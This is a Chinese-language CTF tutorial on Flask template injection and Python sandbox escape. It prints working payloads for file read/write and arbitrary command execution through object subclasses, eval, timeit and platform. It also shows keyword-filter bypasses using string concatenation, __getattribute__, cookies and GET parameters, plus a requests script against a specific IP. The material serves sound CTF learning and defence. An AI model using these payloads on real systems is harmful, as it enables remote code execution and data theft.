CTF-web 第七部分 flask模板注入 沙箱逃逸
1 注入原理
Flask 是python語言編寫的輕量級的MVC (也可以稱為MTV, T: Template)框架具體詳見http://docs.jinkan.org/docs/flask/ 對於Flask 框架本身,本文不做討論。
我們看一下測試程式碼中的 hello_ssti函式
【功能 列印 hello + 使用者傳入的name值】
函式中模板內容 template = '''<h2>Hello %s!</h2>''' % person['name']
就是簡單的字串替換,這會引發什麼安全問題嗎?我們看例子:
執行後,瀏覽器訪問: http://localhost:5000(Flask開發的程式,預設監聽埠為5000)
OK, 預設列印Hello World。
但是,如果傳入的name 引數值為惡意程式碼會怎麼樣?
引發敏感資訊洩露
http://localhost:5000/hello-template-injection?name=ForrestX386. {{person.secret}}
secret 值被洩露 來源: http://www.freebuf.com/articles/web/135953.html
2 利用方法
那麼好了,我們已經知道了大概的原理,實際上感覺類似於XSS一樣的原理,特殊情況下的資料會被當做程式碼執行,而且要記住兩對{}才可以呦,那麼就是接下來的第二個部分,如何實現充分的利用。在python中存在很多的庫函式,可以供我們使用來達到一定的功能,那麼怎麼來使用呢?
我們在python的object類中集成了很多的基礎函式,我們想要呼叫的時候也是需要用object去操作的,現在小小總結了兩種建立object的方法如下:
().__class__.__bases__[0] ''.__class__.__mro__[2] # 驗證如下 >>> print ''.__class__.__mro__[2] <type 'object'> >>> print ().__class__.__bases__[0] <type 'object'>
從程式碼上我們比較好理解,就是從()
找到它的父類也就是__bases__[0]
,而這個父類就是Python
中的根類<type 'object'>
,它裡面有很多的子類,包括file
等,這些子類中就有跟os
、system
等相關的方法,所以,我們可以從這些子類中找到自己需要的方法。
然後我們看一下
存在一個hook函式,直接可以呼叫
存在file型別的object,事實上呼叫後可以對檔案操作了,這也是我們比賽時經常用到的一個函式
利用程式碼如下:
//讀檔案
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
//寫檔案
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//執行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
這裡需要補充一下,當我們得到了需要的庫時,呼叫其中的函式方法是:
(1)採用類似於陣列的方法,使用下標訪問函式[index]
(2)使用名稱直接訪問,類似於[‘function name’]
2.python中可以執行任意程式碼的神奇函式
(1)timeit
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
(2)exec 和eval 比較經典了
eval('__import__("os").system("dir")')
(3)platform
import platform
print platform.popen('dir').read()
(4)random和math
3 繞過方法
經常我們在比賽中不會輕易地隨意使用函式和關鍵字,都會被後臺給過濾掉,那麼我們就需要掌握一些染過的方法,我們的繞過的思路主要分兩種,第一種就是進行字串的拼接,避開關鍵詞的使用,第二種方法就是作為引數的方法傳入,可以躲避過濾。
(1)拼接繞過
在模板的url路徑中,首先是支援字串連線的,會在後臺進行組合,比如我們可以吧獲取object的程式碼這樣寫:
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
當然函式名字也可以寫成這個樣子:
'.re'+'ad()' # 相當於'.read()'
第三個實際上就是一個函式用來躲避關鍵字的檢查,如func_globals
中存在ls
,read關鍵字和class等,這也是做題時卡著的地方。而這些都可以用__getattribute__
進行突破,大概的原理如下:
# 我們想要的程式碼
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]
# 進行關鍵字繞過
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache']
(2)引數的繞過方法
大概的原理是這樣的,一般檢查的時候只是檢查url連結中的關鍵字,並沒有對引數和cookies進行檢查,那麼我們就可以使用變數和數值的方法,url中使用變數代替我們的關鍵字,在引數中將實際的值附上,程式碼和講解如下:
第一個是關於request的有關知識,我們知道這是一個用於web請求的庫,它是存在有關引數的用法的,在《Flask request獲取引數問題》一文中曾經提到過,分別通過3中方式獲取引數:request.form, request.args,request.values
request.form.get("key", type=str, default=None) 獲取表單資料
request.args.get("key") 獲取get請求引數
request.values.get("key") 獲取所有引數
用處不大啊,就是說一下基礎,那麼我們在構造url連線時,也可以使用request中的變數,包括arg和cookies等,當然肯定還有其他的用法,加入我們要讀取檔案a.php,而class和read等關鍵字都被遮蔽了,我們可以這麼做:
import requests
# 注意是兩對{},上文已經講過為什麼了,這裡用的是cookies的方式
url = '''http://47.96.118.255:2333/{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('a.php')[request.cookies.d]()}}'''
cookies = {}
cookies['a'] = '__class__'
cookies['b'] = '__mro__'
cookies['c'] = '__subclasses__'
cookies['d'] = 'read'
print requests.get(url,cookies=cookies).text
當然,我們也可以構造get的引數來傳遞:
www.a.com/login.php{{''[request.args.clas][request.args.mr][2][request.args.subclas]()[40]('a.php').__getattribute__('rea'+'d')()}}
?clas=__class__&mr=__mro__&subclas=__subclasses__
下面這個是大佬提供的另外一種方法,供大家參考吧:
www.a.com/login.php{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
另外需要提示的一點,我們既然都可以執行命令了,當然可以使用模板注入的方式獲取瀏覽器的一些關鍵變數,環境等資訊,如{{var}}通過變數的形式獲取某些變數,在初始將院裡的時候已經展示過了,這是一個關鍵一點,此類題目的時候留意一些
4 總結
1、注意題目為python2
還是python3
的環境,其對應的庫會有很大的一個差距,但總體來說,python27
有的,python3
都有,但需要改變相應下標
2、曲徑通幽,多繞繞,最終獲得你想要的模組,認真找,慢慢翻,會有很多的收穫,比如從().__class__.__bases__[0].__subclasses__()
出發,檢視可用的類
-
若類中有
file
,考慮讀寫操作 -
若類中有
<class 'warnings.WarningMessage'>
,考慮從.__init__.func_globals.values()[13]
獲取eval
,map
等等;又或者從.__init__.func_globals[linecache]
得到os -
若類中有
<type 'file'>
,<class 'ctypes.CDLL'>
,<class 'ctypes.LibraryLoader'>
,考慮構造so檔案
其他的相關關鍵字可以搜尋魔法函式,你會對這些看起來稀奇古怪的函式有更多的理解
3、分析ban
函式的時候考慮使用字串拼接結合__getattribute__
繞過;當然也可以考慮base64
加解密來進行繞過,這部分可以參考sql注入的繞過思想
4、兩個不常見的執行任意命令的方法:
import timeit timeit.timeit("__import__('os').system('dir')",number=1) import platform print platform.popen('dir').read() timeit 考慮time based rce
5、注意一種簡單題型,出題者只做瞭如下一些處理:
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement >>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous >>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file >>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
看起來好像已經非常安全是麼?但是,reload(module)
重新載入匯入的模組,並執行程式碼。所以模組被導回到我們的名稱空間。
6、匯入模組的方式。
- 最直接的import.
- 內建函式 import
- importlib庫
以commands
模組為列:
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')